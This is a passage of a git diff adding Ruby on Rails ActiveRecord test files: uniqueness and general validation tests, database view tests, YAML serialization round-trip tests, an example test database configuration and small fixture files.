+    t_utf8 = Topic.new("title" => "Я тоже уникальный!")
+    assert t_utf8.save, "Should save t_utf8 as unique"
+
+    # If database hasn't UTF-8 character set, this test fails
+    if Topic.all.merge!(select: "LOWER(title) AS title").find(t_utf8.id).title == "я тоже уникальный!"
+      t2_utf8 = Topic.new("title" => "я тоже УНИКАЛЬНЫЙ!")
+      assert !t2_utf8.valid?, "Shouldn't be valid"
+      assert !t2_utf8.save, "Shouldn't save t2_utf8 as unique"
+    end
+  end
+
+  def test_validate_case_sensitive_uniqueness_with_special_sql_like_chars
+    Topic.validates_uniqueness_of(:title, case_sensitive: true)
+
+    t = Topic.new("title" => "I'm unique!")
+    assert t.save, "Should save t as unique"
+
+    t2 = Topic.new("title" => "I'm %")
+    assert t2.save, "Should save t2 as unique"
+
+    t3 = Topic.new("title" => "I'm uniqu_!")
+    assert t3.save, "Should save t3 as unique"
+  end
+
+  def test_validate_case_insensitive_uniqueness_with_special_sql_like_chars
+    Topic.validates_uniqueness_of(:title, case_sensitive: false)
+
+    t = Topic.new("title" => "I'm unique!")
+    assert t.save, "Should save t as unique"
+
+    t2 = Topic.new("title" => "I'm %")
+    assert t2.save, "Should save t2 as unique"
+
+    t3 = Topic.new("title" => "I'm uniqu_!")
+    assert t3.save, "Should save t3 as unique"
+  end
+
+  def test_validate_case_sensitive_uniqueness
+    Topic.validates_uniqueness_of(:title, case_sensitive: true, allow_nil: true)
+
+    t = Topic.new("title" => "I'm unique!")
+    assert t.save, "Should save t as unique"
+
+    t.content = "Remaining unique"
+    assert t.save, "Should still save t as unique"
+
+    t2 = Topic.new("title" => "I'M UNIQUE!")
+    assert t2.valid?, "Should be valid"
+    assert t2.save, "Should save t2 as unique"
+    assert t2.errors[:title].empty?
+    assert t2.errors[:parent_id].empty?
+    assert_not_equal ["has already been taken"], t2.errors[:title]
+
+    t3 = Topic.new("title" => "I'M uNiQUe!")
+    assert t3.valid?, "Should be valid"
+    assert t3.save, "Should save t2 as unique"
+    assert t3.errors[:title].empty?
+    assert t3.errors[:parent_id].empty?
+    assert_not_equal ["has already been taken"], t3.errors[:title]
+  end
+
+  def test_validate_case_sensitive_uniqueness_with_attribute_passed_as_integer
+    Topic.validates_uniqueness_of(:title, case_sensitive: true)
+    Topic.create!("title" => 101)
+
+    t2 = Topic.new("title" => 101)
+    assert !t2.valid?
+    assert t2.errors[:title]
+  end
+
+  def test_validate_uniqueness_with_non_standard_table_names
+    i1 = WarehouseThing.create(value: 1000)
+    assert !i1.valid?, "i1 should not be valid"
+    assert i1.errors[:value].any?, "Should not be empty"
+  end
+
+  def test_validates_uniqueness_inside_scoping
+    Topic.validates_uniqueness_of(:title)
+
+    Topic.where(author_name: "David").scoping do
+      t1 = Topic.new("title" => "I'm unique!", "author_name" => "Mary")
+      assert t1.save
+      t2 = Topic.new("title" => "I'm unique!", "author_name" => "David")
+      assert !t2.valid?
+    end
+  end
+
+  def test_validate_uniqueness_with_columns_which_are_sql_keywords
+    repair_validations(Guid) do
+      Guid.validates_uniqueness_of :key
+      g = Guid.new
+      g.key = "foo"
+      assert_nothing_raised { !g.valid? }
+    end
+  end
+
+  def test_validate_uniqueness_with_limit
+    if current_adapter?(:SQLite3Adapter)
+      # Event.title has limit 5, but SQLite doesn't truncate.
+      e1 = Event.create(title: "abcdefgh")
+      assert e1.valid?, "Could not create an event with a unique 8 characters title"
+
+      e2 = Event.create(title: "abcdefgh")
+      assert_not e2.valid?, "Created an event whose title is not unique"
+    elsif current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter, :OracleAdapter, :SQLServerAdapter)
+      assert_raise(ActiveRecord::ValueTooLong) do
+        Event.create(title: "abcdefgh")
+      end
+    else
+      assert_raise(ActiveRecord::StatementInvalid) do
+        Event.create(title: "abcdefgh")
+      end
+    end
+  end
+
+  def test_validate_uniqueness_with_limit_and_utf8
+    if current_adapter?(:SQLite3Adapter)
+      # Event.title has limit 5, but SQLite doesn't truncate.
+      e1 = Event.create(title: "一二三四五六七八")
+      assert e1.valid?, "Could not create an event with a unique 8 characters title"
+
+      e2 = Event.create(title: "一二三四五六七八")
+      assert_not e2.valid?, "Created an event whose title is not unique"
+    elsif current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter, :OracleAdapter, :SQLServerAdapter)
+      assert_raise(ActiveRecord::ValueTooLong) do
+        Event.create(title: "一二三四五六七八")
+      end
+    else
+      assert_raise(ActiveRecord::StatementInvalid) do
+        Event.create(title: "一二三四五六七八")
+      end
+    end
+  end
+
+  def test_validate_straight_inheritance_uniqueness
+    w1 = IneptWizard.create(name: "Rincewind", city: "Ankh-Morpork")
+    assert w1.valid?, "Saving w1"
+
+    # Should use validation from base class (which is abstract)
+    w2 = IneptWizard.new(name: "Rincewind", city: "Quirm")
+    assert !w2.valid?, "w2 shouldn't be valid"
+    assert w2.errors[:name].any?, "Should have errors for name"
+    assert_equal ["has already been taken"], w2.errors[:name], "Should have uniqueness message for name"
+
+    w3 = Conjurer.new(name: "Rincewind", city: "Quirm")
+    assert !w3.valid?, "w3 shouldn't be valid"
+    assert w3.errors[:name].any?, "Should have errors for name"
+    assert_equal ["has already been taken"], w3.errors[:name], "Should have uniqueness message for name"
+
+    w4 = Conjurer.create(name: "The Amazing Bonko", city: "Quirm")
+    assert w4.valid?, "Saving w4"
+
+    w5 = Thaumaturgist.new(name: "The Amazing Bonko", city: "Lancre")
+    assert !w5.valid?, "w5 shouldn't be valid"
+    assert w5.errors[:name].any?, "Should have errors for name"
+    assert_equal ["has already been taken"], w5.errors[:name], "Should have uniqueness message for name"
+
+    w6 = Thaumaturgist.new(name: "Mustrum Ridcully", city: "Quirm")
+    assert !w6.valid?, "w6 shouldn't be valid"
+    assert w6.errors[:city].any?, "Should have errors for city"
+    assert_equal ["has already been taken"], w6.errors[:city], "Should have uniqueness message for city"
+  end
+
+  def test_validate_uniqueness_with_conditions
+    Topic.validates_uniqueness_of :title, conditions: -> { where(approved: true) }
+    Topic.create("title" => "I'm a topic", "approved" => true)
+    Topic.create("title" => "I'm an unapproved topic", "approved" => false)
+
+    t3 = Topic.new("title" => "I'm a topic", "approved" => true)
+    assert !t3.valid?, "t3 shouldn't be valid"
+
+    t4 = Topic.new("title" => "I'm an unapproved topic", "approved" => false)
+    assert t4.valid?, "t4 should be valid"
+  end
+
+  def test_validate_uniqueness_with_non_callable_conditions_is_not_supported
+    assert_raises(ArgumentError) {
+      Topic.validates_uniqueness_of :title, conditions: Topic.where(approved: true)
+    }
+  end
+
+  def test_validate_uniqueness_on_existing_relation
+    event = Event.create
+    assert TopicWithUniqEvent.create(event: event).valid?
+
+    topic = TopicWithUniqEvent.new(event: event)
+    assert_not topic.valid?
+    assert_equal ["has already been taken"], topic.errors[:event]
+  end
+
+  def test_validate_uniqueness_on_empty_relation
+    topic = TopicWithUniqEvent.new
+    assert topic.valid?
+  end
+
+  def test_validate_uniqueness_of_custom_primary_key
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "keyboards"
+      self.primary_key = :key_number
+
+      validates_uniqueness_of :key_number
+
+      def self.name
+        "Keyboard"
+      end
+    end
+
+    klass.create!(key_number: 10)
+    key2 = klass.create!(key_number: 11)
+
+    key2.key_number = 10
+    assert_not key2.valid?
+  end
+
+  def test_validate_uniqueness_without_primary_key
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "dashboards"
+
+      validates_uniqueness_of :dashboard_id
+
+      def self.name; "Dashboard" end
+    end
+
+    abc = klass.create!(dashboard_id: "abc")
+    assert klass.new(dashboard_id: "xyz").valid?
+    assert_not klass.new(dashboard_id: "abc").valid?
+
+    abc.dashboard_id = "def"
+
+    e = assert_raises ActiveRecord::UnknownPrimaryKey do
+      abc.save!
+    end
+    assert_match(/\AUnknown primary key for table dashboards in model/, e.message)
+    assert_match(/Can not validate uniqueness for persisted record without primary key.\z/, e.message)
+  end
+
+  def test_validate_uniqueness_ignores_itself_when_primary_key_changed
+    Topic.validates_uniqueness_of(:title)
+
+    t = Topic.new("title" => "This is a unique title")
+    assert t.save, "Should save t as unique"
+
+    t.id += 1
+    assert t.valid?, "Should be valid"
+    assert t.save, "Should still save t as unique"
+  end
+
+  def test_validate_uniqueness_with_after_create_performing_save
+    TopicWithAfterCreate.validates_uniqueness_of(:title)
+    topic = TopicWithAfterCreate.create!(title: "Title1")
+    assert topic.author_name.start_with?("Title1")
+
+    topic2 = TopicWithAfterCreate.new(title: "Title1")
+    refute topic2.valid?
+    assert_equal(["has already been taken"], topic2.errors[:title])
+  end
+
+  def test_validate_uniqueness_uuid
+    skip unless current_adapter?(:PostgreSQLAdapter)
+    item = UuidItem.create!(uuid: SecureRandom.uuid, title: "item1")
+    item.update(title: "item1-title2")
+    assert_empty item.errors
+
+    item2 = UuidValidatingItem.create!(uuid: SecureRandom.uuid, title: "item2")
+    item2.update(title: "item2-title2")
+    assert_empty item2.errors
+  end
+
+  def test_validate_uniqueness_regular_id
+    item = CoolTopic.create!(title: "MyItem")
+    assert_empty item.errors
+
+    item2 = CoolTopic.new(id: item.id, title: "MyItem2")
+    refute item2.valid?
+
+    assert_equal(["has already been taken"], item2.errors[:id])
+  end
+end
diff --git a/activerecord/test/cases/validations_repair_helper.rb b/activerecord/test/cases/validations_repair_helper.rb
new file mode 100644
index 0000000000..6dc3b64b2b
--- /dev/null
+++ b/activerecord/test/cases/validations_repair_helper.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ValidationsRepairHelper
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      def repair_validations(*model_classes)
+        teardown do
+          model_classes.each(&:clear_validators!)
+        end
+      end
+    end
+
+    def repair_validations(*model_classes)
+      yield if block_given?
+    ensure
+      model_classes.each(&:clear_validators!)
+    end
+  end
+end
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
new file mode 100644
index 0000000000..7f84939027
--- /dev/null
+++ b/activerecord/test/cases/validations_test.rb
@@ -0,0 +1,196 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+require "models/person"
+require "models/developer"
+require "models/computer"
+require "models/parrot"
+require "models/company"
+
+class ValidationsTest < ActiveRecord::TestCase
+  fixtures :topics, :developers
+
+  # Most of the tests mess with the validations of Topic, so lets repair it all the time.
+  # Other classes we mess with will be dealt with in the specific tests
+  repair_validations(Topic)
+
+  def test_valid_uses_create_context_when_new
+    r = WrongReply.new
+    r.title = "Wrong Create"
+    assert_not r.valid?
+    assert r.errors[:title].any?, "A reply with a bad title should mark that attribute as invalid"
+    assert_equal ["is Wrong Create"], r.errors[:title], "A reply with a bad content should contain an error"
+  end
+
+  def test_valid_uses_update_context_when_persisted
+    r = WrongReply.new
+    r.title = "Bad"
+    r.content = "Good"
+    assert r.save, "First validation should be successful"
+
+    r.title = "Wrong Update"
+    assert_not r.valid?, "Second validation should fail"
+
+    assert r.errors[:title].any?, "A reply with a bad title should mark that attribute as invalid"
+    assert_equal ["is Wrong Update"], r.errors[:title], "A reply with a bad content should contain an error"
+  end
+
+  def test_valid_using_special_context
+    r = WrongReply.new(title: "Valid title")
+    assert !r.valid?(:special_case)
+    assert_equal "Invalid", r.errors[:author_name].join
+
+    r.author_name = "secret"
+    r.content = "Good"
+    assert r.valid?(:special_case)
+
+    r.author_name = nil
+    assert_not r.valid?(:special_case)
+    assert_equal "Invalid", r.errors[:author_name].join
+
+    r.author_name = "secret"
+    assert r.valid?(:special_case)
+  end
+
+  def test_invalid_using_multiple_contexts
+    r = WrongReply.new(title: "Wrong Create")
+    assert r.invalid?([:special_case, :create])
+    assert_equal "Invalid", r.errors[:author_name].join
+    assert_equal "is Wrong Create", r.errors[:title].join
+  end
+
+  def test_validate
+    r = WrongReply.new
+
+    r.validate
+    assert_empty r.errors[:author_name]
+
+    r.validate(:special_case)
+    assert_not_empty r.errors[:author_name]
+
+    r.author_name = "secret"
+
+    r.validate(:special_case)
+    assert_empty r.errors[:author_name]
+  end
+
+  def test_invalid_record_exception
+    assert_raise(ActiveRecord::RecordInvalid) { WrongReply.create! }
+    assert_raise(ActiveRecord::RecordInvalid) { WrongReply.new.save! }
+
+    r = WrongReply.new
+    invalid = assert_raise ActiveRecord::RecordInvalid do
+      r.save!
+    end
+    assert_equal r, invalid.record
+  end
+
+  def test_validate_with_bang
+    assert_raise(ActiveRecord::RecordInvalid) do
+      WrongReply.new.validate!
+    end
+  end
+
+  def test_validate_with_bang_and_context
+    assert_raise(ActiveRecord::RecordInvalid) do
+      WrongReply.new.validate!(:special_case)
+    end
+    r = WrongReply.new(title: "Valid title", author_name: "secret", content: "Good")
+    assert r.validate!(:special_case)
+  end
+
+  def test_exception_on_create_bang_many
+    assert_raise(ActiveRecord::RecordInvalid) do
+      WrongReply.create!([ { "title" => "OK" }, { "title" => "Wrong Create" }])
+    end
+  end
+
+  def test_exception_on_create_bang_with_block
+    assert_raise(ActiveRecord::RecordInvalid) do
+      WrongReply.create!("title" => "OK") do |r|
+        r.content = nil
+      end
+    end
+  end
+
+  def test_exception_on_create_bang_many_with_block
+    assert_raise(ActiveRecord::RecordInvalid) do
+      WrongReply.create!([{ "title" => "OK" }, { "title" => "Wrong Create" }]) do |r|
+        r.content = nil
+      end
+    end
+  end
+
+  def test_save_without_validation
+    reply = WrongReply.new
+    assert !reply.save
+    assert reply.save(validate: false)
+  end
+
+  def test_validates_acceptance_of_with_non_existent_table
+    Object.const_set :IncorporealModel, Class.new(ActiveRecord::Base)
+
+    assert_nothing_raised do
+      IncorporealModel.validates_acceptance_of(:incorporeal_column)
+    end
+  end
+
+  def test_throw_away_typing
+    d = Developer.new("name" => "David", "salary" => "100,000")
+    assert !d.valid?
+    assert_equal 100, d.salary
+    assert_equal "100,000", d.salary_before_type_cast
+  end
+
+  def test_validates_acceptance_of_as_database_column
+    Topic.validates_acceptance_of(:approved)
+    topic = Topic.create("approved" => true)
+    assert topic["approved"]
+  end
+
+  def test_validators
+    assert_equal 1, Parrot.validators.size
+    assert_equal 1, Company.validators.size
+    assert_equal 1, Parrot.validators_on(:name).size
+    assert_equal 1, Company.validators_on(:name).size
+  end
+
+  def test_numericality_validation_with_mutation
+    klass = Class.new(Topic) do
+      attribute :wibble, :string
+      validates_numericality_of :wibble, only_integer: true
+    end
+
+    topic = klass.new(wibble: "123-4567")
+    topic.wibble.gsub!("-", "")
+
+    assert topic.valid?
+  end
+
+  def test_numericality_validation_checks_against_raw_value
+    klass = Class.new(Topic) do
+      def self.model_name
+        ActiveModel::Name.new(self, nil, "Topic")
+      end
+      attribute :wibble, :decimal, scale: 2, precision: 9
+      validates_numericality_of :wibble, greater_than_or_equal_to: BigDecimal.new("97.18")
+    end
+
+    assert_not klass.new(wibble: "97.179").valid?
+    assert_not klass.new(wibble: 97.179).valid?
+    assert_not klass.new(wibble: BigDecimal.new("97.179")).valid?
+  end
+
+  def test_acceptance_validator_doesnt_require_db_connection
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "posts"
+    end
+    klass.reset_column_information
+
+    assert_no_queries do
+      klass.validates_acceptance_of(:foo)
+    end
+  end
+end
diff --git a/activerecord/test/cases/view_test.rb b/activerecord/test/cases/view_test.rb
new file mode 100644
index 0000000000..7e2d66c62a
--- /dev/null
+++ b/activerecord/test/cases/view_test.rb
@@ -0,0 +1,224 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/book"
+require "support/schema_dumping_helper"
+
+module ViewBehavior
+  include SchemaDumpingHelper
+  extend ActiveSupport::Concern
+
+  included do
+    fixtures :books
+  end
+
+  class Ebook < ActiveRecord::Base
+    self.table_name = "ebooks'"
+    self.primary_key = "id"
+  end
+
+  def setup
+    super
+    @connection = ActiveRecord::Base.connection
+    create_view "ebooks'", <<-SQL
+      SELECT id, name, status FROM books WHERE format = 'ebook'
+    SQL
+  end
+
+  def teardown
+    super
+    drop_view "ebooks'"
+  end
+
+  def test_reading
+    books = Ebook.all
+    assert_equal [books(:rfr).id], books.map(&:id)
+    assert_equal ["Ruby for Rails"], books.map(&:name)
+  end
+
+  def test_views
+    assert_equal [Ebook.table_name], @connection.views
+  end
+
+  def test_view_exists
+    view_name = Ebook.table_name
+    assert @connection.view_exists?(view_name), "'#{view_name}' view should exist"
+  end
+
+  def test_table_exists
+    view_name = Ebook.table_name
+    assert_not @connection.table_exists?(view_name), "'#{view_name}' table should not exist"
+  end
+
+  def test_views_ara_valid_data_sources
+    view_name = Ebook.table_name
+    assert @connection.data_source_exists?(view_name), "'#{view_name}' should be a data source"
+  end
+
+  def test_column_definitions
+    assert_equal([["id", :integer],
+                  ["name", :string],
+                  ["status", :integer]], Ebook.columns.map { |c| [c.name, c.type] })
+  end
+
+  def test_attributes
+    assert_equal({ "id" => 2, "name" => "Ruby for Rails", "status" => 0 },
+                 Ebook.first.attributes)
+  end
+
+  def test_does_not_assume_id_column_as_primary_key
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "ebooks'"
+    end
+    assert_nil model.primary_key
+  end
+
+  def test_does_not_dump_view_as_table
+    schema = dump_table_schema "ebooks'"
+    assert_no_match %r{create_table "ebooks'"}, schema
+  end
+
+  private
+    def quote_table_name(name)
+      @connection.quote_table_name(name)
+    end
+end
+
+if ActiveRecord::Base.connection.supports_views?
+  class ViewWithPrimaryKeyTest < ActiveRecord::TestCase
+    include ViewBehavior
+
+    private
+      def create_view(name, query)
+        @connection.execute "CREATE VIEW #{quote_table_name(name)} AS #{query}"
+      end
+
+      def drop_view(name)
+        @connection.execute "DROP VIEW #{quote_table_name(name)}" if @connection.view_exists? name
+      end
+  end
+
+  class ViewWithoutPrimaryKeyTest < ActiveRecord::TestCase
+    include SchemaDumpingHelper
+    fixtures :books
+
+    class Paperback < ActiveRecord::Base; end
+
+    setup do
+      @connection = ActiveRecord::Base.connection
+      @connection.execute <<-SQL
+        CREATE VIEW paperbacks
+          AS SELECT name, status FROM books WHERE format = 'paperback'
+      SQL
+    end
+
+    teardown do
+      @connection.execute "DROP VIEW paperbacks" if @connection.view_exists? "paperbacks"
+    end
+
+    def test_reading
+      books = Paperback.all
+      assert_equal ["Agile Web Development with Rails"], books.map(&:name)
+    end
+
+    def test_views
+      assert_equal [Paperback.table_name], @connection.views
+    end
+
+    def test_view_exists
+      view_name = Paperback.table_name
+      assert @connection.view_exists?(view_name), "'#{view_name}' view should exist"
+    end
+
+    def test_table_exists
+      view_name = Paperback.table_name
+      assert_not @connection.table_exists?(view_name), "'#{view_name}' table should not exist"
+    end
+
+    def test_column_definitions
+      assert_equal([["name", :string],
+                    ["status", :integer]], Paperback.columns.map { |c| [c.name, c.type] })
+    end
+
+    def test_attributes
+      assert_equal({ "name" => "Agile Web Development with Rails", "status" => 2 },
+                   Paperback.first.attributes)
+    end
+
+    def test_does_not_have_a_primary_key
+      assert_nil Paperback.primary_key
+    end
+
+    def test_does_not_dump_view_as_table
+      schema = dump_table_schema "paperbacks"
+      assert_no_match %r{create_table "paperbacks"}, schema
+    end
+  end
+
+  # sqlite dose not support CREATE, INSERT, and DELETE for VIEW
+  if current_adapter?(:Mysql2Adapter, :SQLServerAdapter) ||
+      current_adapter?(:PostgreSQLAdapter) && ActiveRecord::Base.connection.postgresql_version >= 90300
+
+    class UpdateableViewTest < ActiveRecord::TestCase
+      self.use_transactional_tests = false
+      fixtures :books
+
+      class PrintedBook < ActiveRecord::Base
+        self.primary_key = "id"
+      end
+
+      setup do
+        @connection = ActiveRecord::Base.connection
+        @connection.execute <<-SQL
+          CREATE VIEW printed_books
+            AS SELECT id, name, status, format FROM books WHERE format = 'paperback'
+        SQL
+      end
+
+      teardown do
+        @connection.execute "DROP VIEW printed_books" if @connection.view_exists? "printed_books"
+      end
+
+      def test_update_record
+        book = PrintedBook.first
+        book.name = "AWDwR"
+        book.save!
+        book.reload
+        assert_equal "AWDwR", book.name
+      end
+
+      def test_insert_record
+        PrintedBook.create! name: "Rails in Action", status: 0, format: "paperback"
+
+        new_book = PrintedBook.last
+        assert_equal "Rails in Action", new_book.name
+      end
+
+      def test_update_record_to_fail_view_conditions
+        book = PrintedBook.first
+        book.format = "ebook"
+        book.save!
+
+        assert_raises ActiveRecord::RecordNotFound do
+          book.reload
+        end
+      end
+    end
+  end # end of `if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter, :SQLServerAdapter)`
+end # end of `if ActiveRecord::Base.connection.supports_views?`
+
+if ActiveRecord::Base.connection.respond_to?(:supports_materialized_views?) &&
+    ActiveRecord::Base.connection.supports_materialized_views?
+  class MaterializedViewTest < ActiveRecord::PostgreSQLTestCase
+    include ViewBehavior
+
+    private
+      def create_view(name, query)
+        @connection.execute "CREATE MATERIALIZED VIEW #{quote_table_name(name)} AS #{query}"
+      end
+
+      def drop_view(name)
+        @connection.execute "DROP MATERIALIZED VIEW #{quote_table_name(name)}" if @connection.view_exists? name
+      end
+  end
+end
diff --git a/activerecord/test/cases/yaml_serialization_test.rb b/activerecord/test/cases/yaml_serialization_test.rb
new file mode 100644
index 0000000000..578881f754
--- /dev/null
+++ b/activerecord/test/cases/yaml_serialization_test.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+require "models/post"
+require "models/author"
+
+class YamlSerializationTest < ActiveRecord::TestCase
+  fixtures :topics, :authors, :author_addresses, :posts
+
+  def test_to_yaml_with_time_with_zone_should_not_raise_exception
+    with_timezone_config aware_attributes: true, zone: "Pacific Time (US & Canada)" do
+      topic = Topic.new(written_on: DateTime.now)
+      assert_nothing_raised { topic.to_yaml }
+    end
+  end
+
+  def test_roundtrip
+    topic = Topic.first
+    assert topic
+    t = YAML.load YAML.dump topic
+    assert_equal topic, t
+  end
+
+  def test_roundtrip_serialized_column
+    topic = Topic.new(content: { omg: :lol })
+    assert_equal({ omg: :lol }, YAML.load(YAML.dump(topic)).content)
+  end
+
+  def test_psych_roundtrip
+    topic = Topic.first
+    assert topic
+    t = Psych.load Psych.dump topic
+    assert_equal topic, t
+  end
+
+  def test_psych_roundtrip_new_object
+    topic = Topic.new
+    assert topic
+    t = Psych.load Psych.dump topic
+    assert_equal topic.attributes, t.attributes
+  end
+
+  def test_active_record_relation_serialization
+    [Topic.all].to_yaml
+  end
+
+  def test_raw_types_are_not_changed_on_round_trip
+    topic = Topic.new(parent_id: "123")
+    assert_equal "123", topic.parent_id_before_type_cast
+    assert_equal "123", YAML.load(YAML.dump(topic)).parent_id_before_type_cast
+  end
+
+  def test_cast_types_are_not_changed_on_round_trip
+    topic = Topic.new(parent_id: "123")
+    assert_equal 123, topic.parent_id
+    assert_equal 123, YAML.load(YAML.dump(topic)).parent_id
+  end
+
+  def test_new_records_remain_new_after_round_trip
+    topic = Topic.new
+
+    assert topic.new_record?, "Sanity check that new records are new"
+    assert YAML.load(YAML.dump(topic)).new_record?, "Record should be new after deserialization"
+
+    topic.save!
+
+    assert_not topic.new_record?, "Saved records are not new"
+    assert_not YAML.load(YAML.dump(topic)).new_record?, "Saved record should not be new after deserialization"
+
+    topic = Topic.select("title").last
+
+    assert_not topic.new_record?, "Loaded records without ID are not new"
+    assert_not YAML.load(YAML.dump(topic)).new_record?, "Record should not be new after deserialization"
+  end
+
+  def test_types_of_virtual_columns_are_not_changed_on_round_trip
+    author = Author.select("authors.*, count(posts.id) as posts_count")
+      .joins(:posts)
+      .group("authors.id")
+      .first
+    dumped = YAML.load(YAML.dump(author))
+
+    assert_equal 5, author.posts_count
+    assert_equal 5, dumped.posts_count
+  end
+
+  def test_a_yaml_version_is_provided_for_future_backwards_compat
+    coder = {}
+    Topic.first.encode_with(coder)
+
+    assert coder["active_record_yaml_version"]
+  end
+
+  def test_deserializing_rails_41_yaml
+    topic = YAML.load(yaml_fixture("rails_4_1"))
+
+    assert topic.new_record?
+    assert_nil topic.id
+    assert_equal "The First Topic", topic.title
+    assert_equal({ omg: :lol }, topic.content)
+  end
+
+  def test_deserializing_rails_4_2_0_yaml
+    topic = YAML.load(yaml_fixture("rails_4_2_0"))
+
+    assert_not topic.new_record?
+    assert_equal 1, topic.id
+    assert_equal "The First Topic", topic.title
+    assert_equal("Have a nice day", topic.content)
+  end
+
+  def test_yaml_encoding_keeps_mutations
+    author = Author.first
+    author.name = "Sean"
+    dumped = YAML.load(YAML.dump(author))
+
+    assert_equal "Sean", dumped.name
+    assert_equal author.name_was, dumped.name_was
+    assert_equal author.changes, dumped.changes
+  end
+
+  def test_yaml_encoding_keeps_false_values
+    topic = Topic.first
+    topic.approved = false
+    dumped = YAML.load(YAML.dump(topic))
+
+    assert_equal false, dumped.approved
+  end
+
+  private
+
+    def yaml_fixture(file_name)
+      path = File.expand_path(
+        "../support/yaml_compatibility_fixtures/#{file_name}.yml",
+        __dir__
+      )
+      File.read(path)
+    end
+end
diff --git a/activerecord/test/config.example.yml b/activerecord/test/config.example.yml
new file mode 100644
index 0000000000..4bcb2aeea6
--- /dev/null
+++ b/activerecord/test/config.example.yml
@@ -0,0 +1,100 @@
+default_connection: <%= defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3' %>
+
+with_manual_interventions: false
+
+connections:
+  jdbcderby:
+    arunit:  activerecord_unittest
+    arunit2: activerecord_unittest2
+
+  jdbch2:
+    arunit:  activerecord_unittest
+    arunit2: activerecord_unittest2
+
+  jdbchsqldb:
+    arunit:  activerecord_unittest
+    arunit2: activerecord_unittest2
+
+  jdbcmysql:
+    arunit:
+      username: rails
+      encoding: utf8
+    arunit2:
+      username: rails
+      encoding: utf8
+
+  jdbcpostgresql:
+    arunit:
+      username: <%= ENV['user'] || 'rails' %>
+    arunit2:
+      username: <%= ENV['user'] || 'rails' %>
+
+  jdbcsqlite3:
+    arunit:
+      database: <%= FIXTURES_ROOT %>/fixture_database.sqlite3
+      timeout:  5000
+    arunit2:
+      database: <%= FIXTURES_ROOT %>/fixture_database_2.sqlite3
+      timeout:  5000
+
+  db2:
+    arunit:
+      adapter:  ibm_db
+      host:     localhost
+      username: arunit
+      password: arunit
+      database: arunit
+    arunit2:
+      adapter:  ibm_db
+      host:     localhost
+      username: arunit
+      password: arunit
+      database: arunit2
+
+  mysql2:
+    arunit:
+      username: rails
+      encoding: utf8
+      collation: utf8_unicode_ci
+    arunit2:
+      username: rails
+      encoding: utf8
+
+  oracle:
+     arunit:
+       adapter: oracle_enhanced
+       database: <%= ENV['ARUNIT_DB_NAME'] || 'orcl' %>
+       username: <%= ENV['ARUNIT_USER_NAME'] || 'arunit' %>
+       password: <%= ENV['ARUNIT_PASSWORD'] || 'arunit' %>
+       emulate_oracle_adapter: true
+     arunit2:
+       adapter: oracle_enhanced
+       database: <%= ENV['ARUNIT_DB_NAME'] || 'orcl' %>
+       username: <%= ENV['ARUNIT2_USER_NAME'] || 'arunit2' %>
+       password: <%= ENV['ARUNIT2_PASSWORD'] || 'arunit2' %>
+       emulate_oracle_adapter: true
+
+  postgresql:
+    arunit:
+      min_messages: warning
+    arunit_without_prepared_statements:
+      min_messages: warning
+      prepared_statements: false
+    arunit2:
+      min_messages: warning
+
+  sqlite3:
+    arunit:
+      database: <%= FIXTURES_ROOT %>/fixture_database.sqlite3
+      timeout:  5000
+    arunit2:
+      database: <%= FIXTURES_ROOT %>/fixture_database_2.sqlite3
+      timeout:  5000
+
+  sqlite3_mem:
+    arunit:
+      adapter: sqlite3
+      database: ':memory:'
+    arunit2:
+      adapter: sqlite3
+      database: ':memory:'
diff --git a/activerecord/test/config.rb b/activerecord/test/config.rb
new file mode 100644
index 0000000000..72cdfb16ef
--- /dev/null
+++ b/activerecord/test/config.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+TEST_ROOT       = __dir__
+ASSETS_ROOT     = TEST_ROOT + "/assets"
+FIXTURES_ROOT   = TEST_ROOT + "/fixtures"
+MIGRATIONS_ROOT = TEST_ROOT + "/migrations"
+SCHEMA_ROOT     = TEST_ROOT + "/schema"
diff --git a/activerecord/test/fixtures/.gitignore b/activerecord/test/fixtures/.gitignore
new file mode 100644
index 0000000000..885029a512
--- /dev/null
+++ b/activerecord/test/fixtures/.gitignore
@@ -0,0 +1 @@
+*.sqlite*
\ No newline at end of file
diff --git a/activerecord/test/fixtures/accounts.yml b/activerecord/test/fixtures/accounts.yml
new file mode 100644
index 0000000000..32583042a8
--- /dev/null
+++ b/activerecord/test/fixtures/accounts.yml
@@ -0,0 +1,29 @@
+signals37:
+  id: 1
+  firm_id: 1
+  credit_limit: 50
+  firm_name: 37signals
+
+unknown:
+  id: 2
+  credit_limit: 50
+
+rails_core_account:
+  id: 3
+  firm_id: 6
+  credit_limit: 50
+
+last_account:
+  id: 4
+  firm_id: 2
+  credit_limit: 60
+
+rails_core_account_2:
+  id: 5
+  firm_id: 6
+  credit_limit: 55
+
+odegy_account:
+  id: 6
+  firm_id: 9
+  credit_limit: 53
diff --git a/activerecord/test/fixtures/admin/accounts.yml b/activerecord/test/fixtures/admin/accounts.yml
new file mode 100644
index 0000000000..9e341a15af
--- /dev/null
+++ b/activerecord/test/fixtures/admin/accounts.yml
@@ -0,0 +1,2 @@
+signals37:
+  name: 37signals
diff --git a/activerecord/test/fixtures/admin/randomly_named_a9.yml b/activerecord/test/fixtures/admin/randomly_named_a9.yml
new file mode 100644
index 0000000000..bc51c83112
--- /dev/null
+++ b/activerecord/test/fixtures/admin/randomly_named_a9.yml
@@ -0,0 +1,7 @@
+first_instance:

+  some_attribute: AAA

+  another_attribute: 000

+

+second_instance:

+  some_attribute: BBB

+  another_attribute: 999

diff --git a/activerecord/test/fixtures/admin/randomly_named_b0.yml b/activerecord/test/fixtures/admin/randomly_named_b0.yml
new file mode 100644
index 0000000000..bc51c83112
--- /dev/null
